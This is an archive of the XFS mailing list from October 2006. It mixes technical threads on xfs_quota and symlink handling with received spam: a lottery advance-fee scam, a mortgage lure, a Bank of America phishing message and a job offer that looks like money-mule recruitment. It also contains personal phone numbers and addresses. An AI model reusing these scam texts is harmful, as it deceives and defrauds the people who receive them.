SEQUEL TO THE ANNUAL PROMOTION DRAW OF THE ABOVE NAMED ESTABLISHMENT IN EUROPE, CONDUCTED ON THE 28TH OF OCTOBER 2006. I AM GLAD TO NOTIFY YOU THAT YOUR E-MAIL ADDRESS ATTACHED TO TICKET NUMBER 40338522CH WON IN THE THIRD CATEGORY A LUMP-SUM OF EIGHT HUNDRED AND FIFTY THOUSAND DOLLARS (USD 850,000;00). CONGRATULATIONS AND BE ADVISED TO KEEP CONFIDETIAL TILL YOUR PRIZE IS PROCESSED TO AVOID MULTIPLE APPLICATIONS/FILLINGS. ALL PARTICIPANTS WERE SELECTED RANDOMLY BY A COMPUTER SOFTWARE BALLOT DEVICE. THIS PROMOTION IS SPONSORED BY A GROUP OF CORPORATE ESTABLISHMENT AND ACCREDITED CHARITABLE ORGANIZATIONS IN EUROPE. BE INFORMED THAT A MINIMUM OF 20% OF YOUR PRIZE MUST BE DONATED TO A REMARKABLE CHARITY ORGANIZATION IN YOUR LOCALITY OR ANY WHERE IN THE WORLD. TO FILE FOR YOUR CLAIM, PLEASE CONTACT YOUR FIDUCIAL AGENT; MRS. JULIANA VAN DIJK. INORBIT CONSULTANT 11 E-MAIL; (dijkjuliana@linq.nl), or (dijk_juliana1@Inorbit.com). CONGRATULATIONS ONCE MORE, SINCERELY YOURS MRS ANITA HANS NB; KINDLY STATE YOUR REF AND TICKET NUMBERS WHEN FILLING FOR YOUR CLAIM. _________________________________________________________________ Play online games with your friends with Messenger http://www.join.msn.com/messenger/overview From owner-xfs@oss.sgi.com Mon Oct 30 09:52:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 09:52:48 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UHqYaG008440 for ; Mon, 30 Oct 2006 09:52:35 -0800 X-ASG-Debug-ID: 1162226327-27812-221-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hotmail.com (bay12-f8.bay12.hotmail.com [64.4.35.8]) by cuda.sgi.com (Spam Firewall) with ESMTP id D459F4E4E35 for ; Mon, 30 Oct 2006 08:38:47 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 30 Oct 2006 08:38:46 -0800 Message-ID: Received: from 72.246.50.13 by by12fd.bay12.hotmail.msn.com with HTTP; Mon, 30 Oct 2006 16:38:46 GMT X-Originating-IP: [194.151.76.19] X-Originating-Email: [hans.anita342@hotmail.com] X-Sender: hans.anita342@hotmail.com From: "ANITA HANS" Bcc: X-ASG-Orig-Subj: INORBIT CHARITY PROMOTIONS BV Subject: INORBIT CHARITY PROMOTIONS BV Date: Mon, 30 Oct 2006 17:38:46 +0100 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 30 Oct 2006 16:38:46.0610 (UTC) FILETIME=[DEB4C320:01C6FC41] X-Barracuda-Spam-Score: 3.03 X-Barracuda-Spam-Status: No, SCORE=3.03 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MISSING_HEADERS, SARE_FRAUD_X3, TO_CC_NONE, UPPERCASE_75_100 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24562 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.04 UPPERCASE_75_100 message body is 75-100% uppercase 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9494 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hans.anita342@hotmail.com Precedence: bulk X-list: xfs Status: O INORBIT CHARITY PROMOTIONS BV MAXHAVELASTRAAT 522C, 3046TG ROTTERDAM THE NETHERLANDS WINNING NOTIFICATION REF NO; AIF61693628-09 DEAR SIR/MADAM, SEQUEL TO THE ANNUAL PROMOTION DRAW OF THE ABOVE NAMED ESTABLISHMENT IN EUROPE, CONDUCTED ON THE 28TH OF OCTOBER 2006. I AM GLAD TO NOTIFY YOU THAT YOUR E-MAIL ADDRESS ATTACHED TO TICKET NUMBER 40338522CH WON IN THE THIRD CATEGORY A LUMP-SUM OF EIGHT HUNDRED AND FIFTY THOUSAND DOLLARS (USD 850,000;00). CONGRATULATIONS AND BE ADVISED TO KEEP CONFIDETIAL TILL YOUR PRIZE IS PROCESSED TO AVOID MULTIPLE APPLICATIONS/FILLINGS. ALL PARTICIPANTS WERE SELECTED RANDOMLY BY A COMPUTER SOFTWARE BALLOT DEVICE. THIS PROMOTION IS SPONSORED BY A GROUP OF CORPORATE ESTABLISHMENT AND ACCREDITED CHARITABLE ORGANIZATIONS IN EUROPE. BE INFORMED THAT A MINIMUM OF 20% OF YOUR PRIZE MUST BE DONATED TO A REMARKABLE CHARITY ORGANIZATION IN YOUR LOCALITY OR ANY WHERE IN THE WORLD. TO FILE FOR YOUR CLAIM, PLEASE CONTACT YOUR FIDUCIAL AGENT; MRS. JULIANA VAN DIJK. INORBIT CONSULTANT 11 E-MAIL; (dijkjuliana@linq.nl), or (dijk_juliana3@Inorbit.com). CONGRATULATIONS ONCE MORE, SINCERELY YOURS MRS ANITA HANS NB; KINDLY STATE YOUR REF AND TICKET NUMBERS WHEN FILLING FOR YOUR CLAIM. _________________________________________________________________ FREE pop-up blocking with the new Windows Live Toolbar - get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From owner-xfs@oss.sgi.com Mon Oct 30 11:36:06 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 11:36:17 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UJa5aG025842 for ; Mon, 30 Oct 2006 11:36:06 -0800 X-ASG-Debug-ID: 1162233368-5950-169-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 36045760 (unknown [212.57.191.185]) by cuda.sgi.com (Spam Firewall) with SMTP id 9262B4E5476 for ; Mon, 30 Oct 2006 10:36:27 -0800 (PST) Received: (from SheilaxqvDoughertyxr@netzero.net@localhost) by SheilaxqvDoughertyxr@netzero.net.net MqFx id g42Ls1T7.1854; Mon, 30 Oct 2006 21:32:19 +0300 Message-Id: From: "SheilaxqvDoughertyxr@netzero.net" Date: Mon, 30 Oct 2006 14:27:19 -0400 To: xfs@oss.sgi.com X-ASG-Orig-Subj: amazon Subject: amazon X-Mailer: Ximian Evolution X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24570 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9495 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: JeanetteaYorkj@sbcglobal.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. scoring doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this uncomplicated, secure 1 min. form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of cr. scoring. Regards, Jess Hanks Approval Manager http://geocities.yahoo.com.br/vukuz62432 Just for fun: debtor be bespeak but astonish it's collins see chao the consolation it barlow a carlson but curlew it brittany be admitting be abreast some daisy but botfly or covetous the camp try anther on adipic but downey the crematory see crag it bird may afghanistan it brimstone some From owner-xfs@oss.sgi.com Mon Oct 30 14:21:12 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 14:21:23 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UMLBaG015997 for ; Mon, 30 Oct 2006 14:21:12 -0800 X-ASG-Debug-ID: 1162246824-16612-8-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9CA714DE475 for ; Mon, 30 Oct 2006 14:20:24 -0800 (PST) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id BD98E28BAA; Tue, 31 Oct 2006 09:20:21 +1100 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id AADDE53403A; Tue, 31 Oct 2006 09:20:21 +1100 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 17342-01-57; Tue, 31 Oct 2006 09:20:20 +1100 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id B79C4534039; Tue, 31 Oct 2006 09:20:20 +1100 (EST) X-ASG-Orig-Subj: Re: xfs_quota project + symlinks Subject: Re: xfs_quota project + symlinks From: Nathan Scott Reply-To: nscott@aconex.com To: Timothy Shimmin Cc: Sten Spans , xfs@oss.sgi.com In-Reply-To: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> References: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> Content-Type: text/plain Organization: Aconex Date: Tue, 31 Oct 2006 09:24:03 +1100 Message-Id: <1162247043.17754.160.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9496 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Mon, 2006-10-30 at 15:39 +1000, Timothy Shimmin wrote: > Hi, > > > If path is a symlink, then the project id is applied to a file > > potentially on another filesystem. Wouldn't it be better to > > add O_NOFOLLOW here ? > > You want it to error out if it is a symlink. > Thats not ideal. But some way to stay on the symlink's filesystem is probably needed here, from the sound of it. > I'm not that familiar with quotas (Nathan?, Donald?), but I would presume > that since symlinks take up space depending on the symlink path, that they should > have quota control on the space they take up. If they require space to be allocated (i.e the symlink target is not stored in the inode literal area), then that space allocation will be subject to quota IIRC. > In which case, one would actually not want to follow the symlink but rather > apply a limit to that actual symlink inode. *nod* > > But I agree, I doubt one wants to follow the symlinks - it would get rather > confusing. *nod* cheers. -- Nathan From owner-xfs@oss.sgi.com Mon Oct 30 14:41:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 14:41:18 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UMf6aG017412 for ; Mon, 30 Oct 2006 14:41:06 -0800 X-ASG-Debug-ID: 1162244302-7415-945-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from rain.CC.Lehigh.EDU (rain.CC.Lehigh.EDU [128.180.39.20]) by cuda.sgi.com (Spam Firewall) with ESMTP id CD6F6D1B41E0 for ; Mon, 30 Oct 2006 13:38:22 -0800 (PST) Received: from [128.180.34.210] (Dyn034210.IE.Lehigh.EDU [128.180.34.210]) (authenticated bits=0) by rain.CC.Lehigh.EDU (8.13.8/8.13.8) with ESMTP id k9ULcKta001024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 30 Oct 2006 16:38:20 -0500 Message-ID: <454670CC.9000400@lehigh.edu> Date: Mon, 30 Oct 2006 16:38:20 -0500 From: "Evgeniy N. Sharapov" User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Email in the maillist archive Subject: Email in the maillist archive Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 1.61 X-Barracuda-Spam-Status: No, SCORE=1.61 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=DEAR_SOMETHING X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24580 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.61 DEAR_SOMETHING BODY: Contains 'Dear (something)' X-archive-position: 9497 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ens205@lehigh.edu Precedence: bulk X-list: xfs Status: O Dear Sir or Madame I found my email in XFS maillist archive in the message http://oss.sgi.com/archives/xfs/2006-04/msg00003.html. Apparently my email is not hidden or covered. That causes a lot of troubles for me. In particular my mailbox is infested with spam. Please, can you hide it or delete. Sincerely -- Evgeniy N. Sharapov ============================== Industrial & Systems Eng. Dept. Lehigh University 200, W. Packer Ave Bethlehem, Pennsylvania, USA ============================== phone: (630)779-3208 fax: (610)758-4886 mail : ens205 @ lehigh.edu From owner-xfs@oss.sgi.com Mon Oct 30 17:08:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 17:09:12 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9V18raG005246 for ; Mon, 30 Oct 2006 17:08:53 -0800 X-ASG-Debug-ID: 1162246394-3122-487-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from he105war.uk.vianw.net (he105war.uk.vianw.net [195.102.244.136]) by cuda.sgi.com (Spam Firewall) with ESMTP id DE5C442DC8C for ; Mon, 30 Oct 2006 14:13:14 -0800 (PST) Received: from exim by he105war.uk.vianw.net with local (Exim 4.60) id 1GefNZ-0001t4-Kk for linux-xfs@oss.sgi.com; Mon, 30 Oct 2006 22:13:13 +0000 From: sally@keofilms.com To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Out of office Subject: Out of office Auto-Submitted: auto-replied Message-Id: Date: Mon, 30 Oct 2006 22:13:13 +0000 X-Barracuda-Spam-Score: 0.83 X-Barracuda-Spam-Status: No, SCORE=0.83 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MAILTO_TO_SPAM_ADDR, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24582 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email X-archive-position: 9499 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sally@keofilms.com Precedence: bulk X-list: xfs Status: O I am no longer working at Keo Films. If you are calling in relation to Florida please contact Jaimie D'Cruz or Maurice O'Brien maurice@keofilms.com / jaimie@keofilms.com or 020 7490 3580. For all other queries regarding River Cottage, The Great Race or other projects please contact the Head of Production Katherine Perry who should be able to help with your query - katherine@keofilms.com. If you would like to contact me personally please do so email sallygrant76@yahoo.co.uk or call me on my mobile 07813 665 787. With best wishes, Sally Grant From owner-xfs@oss.sgi.com Mon Oct 30 17:08:09 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 17:08:17 -0800 (PST) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9V185aG005115 for ; Mon, 30 Oct 2006 17:08:07 -0800 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA14820; Tue, 31 Oct 2006 12:07:15 +1100 Date: Tue, 31 Oct 2006 11:08:08 +1000 From: Timothy Shimmin To: nscott@aconex.com cc: Sten Spans , xfs@oss.sgi.com Subject: Re: xfs_quota project + symlinks Message-ID: In-Reply-To: <1162247043.17754.160.camel@edge> References: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> <1162247043.17754.160.camel@edge> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9498 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Okay, thanks, Nathan, So does that mean we need a way for FSGETXATTR and FSSETXATTR ioctls to work on the symlink inode? Is this (symlink ioctls) done elsewhere? :) One for Donald :) --Tim --On 31 October 2006 9:24:03 AM +1100 Nathan Scott wrote: > On Mon, 2006-10-30 at 15:39 +1000, Timothy Shimmin wrote: >> Hi, >> >> > If path is a symlink, then the project id is applied to a file >> > potentially on another filesystem. Wouldn't it be better to >> > add O_NOFOLLOW here ? >> >> You want it to error out if it is a symlink. >> > > Thats not ideal. But some way to stay on the symlink's filesystem > is probably needed here, from the sound of it. > >> I'm not that familiar with quotas (Nathan?, Donald?), but I would presume >> that since symlinks take up space depending on the symlink path, that they should >> have quota control on the space they take up. > > If they require space to be allocated (i.e the symlink target is not > stored in the inode literal area), then that space allocation will be > subject to quota IIRC. > >> In which case, one would actually not want to follow the symlink but rather >> apply a limit to that actual symlink inode. > > *nod* > >> >> But I agree, I doubt one wants to follow the symlinks - it would get rather >> confusing. > > *nod* > > cheers. > > -- > Nathan From owner-xfs@oss.sgi.com Mon Oct 30 17:35:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 17:35:46 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9V1ZbaG007566 for ; Mon, 30 Oct 2006 17:35:38 -0800 X-ASG-Debug-ID: 1162254868-11703-68-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from guinness.cs.stevens-tech.edu (guinness.cs.stevens-tech.edu [155.246.89.8]) by cuda.sgi.com (Spam Firewall) with ESMTP id C4F2A4DBB98 for ; Mon, 30 Oct 2006 16:34:28 -0800 (PST) Received: from guinness.cs.stevens-tech.edu (localhost [127.0.0.1]) by guinness.cs.stevens-tech.edu (Postfix) with ESMTP id 921BE164B7 for ; Mon, 30 Oct 2006 19:34:10 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit From: cs-lab-request@cs.stevens.edu To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: confirm c9658f6da204ba768d2e379469a0eb45569c9fb0 Subject: confirm c9658f6da204ba768d2e379469a0eb45569c9fb0 Reply-To: cs-lab-request@cs.stevens.edu Message-ID: Date: Mon, 30 Oct 2006 19:34:09 -0500 Precedence: bulk X-BeenThere: cs-lab@cs.stevens.edu X-Mailman-Version: 2.1.9rc1 X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M, NO_REAL_NAME, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.50 BSF_RULE7568M BODY: Custom Rule 7568M 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) X-archive-position: 9500 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cs-lab-request@cs.stevens.edu Precedence: bulk X-list: xfs Status: O Mailing list subscription confirmation notice for mailing list cs-lab We have received a request from linux-xfs@oss.sgi.com for subscription of your email address, "linux-xfs@oss.sgi.com", to the cs-lab@cs.stevens.edu mailing list. To confirm that you want to be added to this mailing list, simply reply to this message, keeping the Subject: header intact. Or visit this web page: https://guinness.cs.stevens-tech.edu/mailman/confirm/cs-lab/c9658f6da204ba768d2e379469a0eb45569c9fb0 Or include the following line -- and only the following line -- in a message to cs-lab-request@cs.stevens.edu: confirm c9658f6da204ba768d2e379469a0eb45569c9fb0 Note that simply sending a `reply' to this message should work from most mail readers, since that usually leaves the Subject: line in the right form (additional "Re:" text in the Subject: is okay). If you do not wish to be subscribed to this list, please simply disregard this message. If you think you are being maliciously subscribed to the list, or have any other questions, send them to cs-lab-owner@cs.stevens.edu. From owner-xfs@oss.sgi.com Mon Oct 30 17:58:53 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 17:59:00 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9V1wpaG009102 for ; Mon, 30 Oct 2006 17:58:53 -0800 X-ASG-Debug-ID: 1162259885-14682-284-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from prod.aconex.com (mail.app.aconex.com [203.89.192.138]) by cuda.sgi.com (Spam Firewall) with ESMTP id 305534E40D5 for ; Mon, 30 Oct 2006 17:58:06 -0800 (PST) Received: from page.mel.office.aconex.com (unknown [192.168.0.210]) by prod.aconex.com (Postfix) with ESMTP id 724A528AF5; Tue, 31 Oct 2006 12:58:02 +1100 (EST) Received: from localhost (page.mel.aconex.com [127.0.0.1]) by page.mel.office.aconex.com (Postfix) with ESMTP id 43C2953403A; Tue, 31 Oct 2006 12:58:02 +1100 (EST) Received: from page.mel.office.aconex.com ([127.0.0.1]) by localhost (mail.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 32665-01-30; Tue, 31 Oct 2006 12:58:01 +1100 (EST) Received: from edge (unknown [192.168.0.246]) by page.mel.office.aconex.com (Postfix) with ESMTP id DE07D534039; Tue, 31 Oct 2006 12:57:59 +1100 (EST) X-ASG-Orig-Subj: Re: xfs_quota project + symlinks Subject: Re: xfs_quota project + symlinks From: Nathan Scott Reply-To: nscott@aconex.com To: Timothy Shimmin Cc: Sten Spans , xfs@oss.sgi.com In-Reply-To: References: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> <1162247043.17754.160.camel@edge> Content-Type: text/plain Organization: Aconex Date: Tue, 31 Oct 2006 13:01:43 +1100 Message-Id: <1162260103.17754.165.camel@edge> Mime-Version: 1.0 X-Mailer: Evolution 2.6.3 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24598 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9501 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: nscott@aconex.com Precedence: bulk X-list: xfs Status: O On Tue, 2006-10-31 at 11:08 +1000, Timothy Shimmin wrote: > > Okay, thanks, Nathan, > > So does that mean we need a way for FSGETXATTR and FSSETXATTR > ioctls to work on the symlink inode? Is this (symlink ioctls) > done elsewhere? :) The by-handle interfaces xfsdump is using must support symlinks, right? So, I assume theres a way (but I don't know for sure). cheers. -- Nathan From owner-xfs@oss.sgi.com Tue Oct 31 03:35:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 03:35:45 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9VBZXaG020179 for ; Tue, 31 Oct 2006 03:35:35 -0800 X-ASG-Debug-ID: 1162289570-10027-531-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pointech.medyabim.com (unknown [84.16.240.221]) by cuda.sgi.com (Spam Firewall) with ESMTP id 64E824E5AEA for ; Tue, 31 Oct 2006 02:12:50 -0800 (PST) Received: from apache by pointech.medyabim.com with local (Exim 4.60) (envelope-from ) id 1GeqeP-00072h-N3 for xfs@oss.sgi.com; Tue, 31 Oct 2006 12:15:21 +0200 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Bank of America : Re-confirm your online access Subject: Bank of America : Re-confirm your online access From: Bank of America Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Tue, 31 Oct 2006 12:15:21 +0200 X-Barracuda-Spam-Score: 0.77 X-Barracuda-Spam-Status: No, SCORE=0.77 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9502 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: online.alert@bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America | Important Message
      Bank of America



      Dear Customer,

      We are hereby announcing the New Security Measure. Re-confirm your information online to enable us validate your information on our database. To allow this validation effective, you are requested to go through the online validation form below.

      http://www.bankofamerica.com/index.cfm?/validation.form


      We are committed to improving our Online service.

      Bank Of America
      Accounting Department,
      Bank of America and its Affiliates.


      Please do not reply to this e-mail. Mail sent to this address cannot be answered.
      For assistance, log in to your Bank Of America Online account and choose the "Help" link on any page.

      Bank Of America ID # 16000252947

      From owner-xfs@oss.sgi.com Tue Oct 31 03:41:02 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 03:41:10 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9VBf1aG020862 for ; Tue, 31 Oct 2006 03:41:02 -0800 X-ASG-Debug-ID: 1162290474-21354-11-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from kundenserver13hsgbr.de (kundenserver13hsgbr.de [85.119.155.58]) by cuda.sgi.com (Spam Firewall) with ESMTP id 35222D1B1C7C for ; Tue, 31 Oct 2006 02:27:54 -0800 (PST) Received: from server9.kundenserver9hsgbr.de (kundenserver9hsgbr.de [62.112.157.241]) by kundenserver13hsgbr.de (Postfix) with ESMTP id 5384A4FB5728 for ; Tue, 31 Oct 2006 11:18:57 +0100 (CET) Received: by server9.kundenserver9hsgbr.de (Postfix, from userid 30) id 97BA3304170; Tue, 31 Oct 2006 11:32:47 +0100 (CET) To: xfs@oss.sgi.com X-ASG-Orig-Subj: JOB OFFER Subject: JOB OFFER From: PAUL SMITH Reply-To: paulz_smith03@yahoo.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: <20061031103247.97BA3304170@server9.kundenserver9hsgbr.de> Date: Tue, 31 Oct 2006 11:32:47 +0100 (CET) X-Barracuda-Spam-Score: 2.76 X-Barracuda-Spam-Status: No, SCORE=2.76 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_SOMETHING, FORGED_YAHOO_RCVD, FROM_HAS_ULINE_NUMS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24632 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.22 FROM_HAS_ULINE_NUMS From: contains an underline and numbers/letters 0.93 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.61 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9503 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: paulz_smith01@yahoo.com Precedence: bulk X-list: xfs Status: O Dear Sir/Madam, PART TIME JOB OFFER FOR YOU I am Mr PAUL SMITH and I own a company Based on Chinese and African textile and fabric material in Hong kong ,I'm in search for a trustworthy representative in USA that can help as a link between me and my clients over there.I would like to know if your are interested to work from home for us SMITH MFG CO LTD. Urgently i need a representative in the states,that will work online from home and get paid weekly without leaving or affecting your present job? My Company produces various clothing materials, 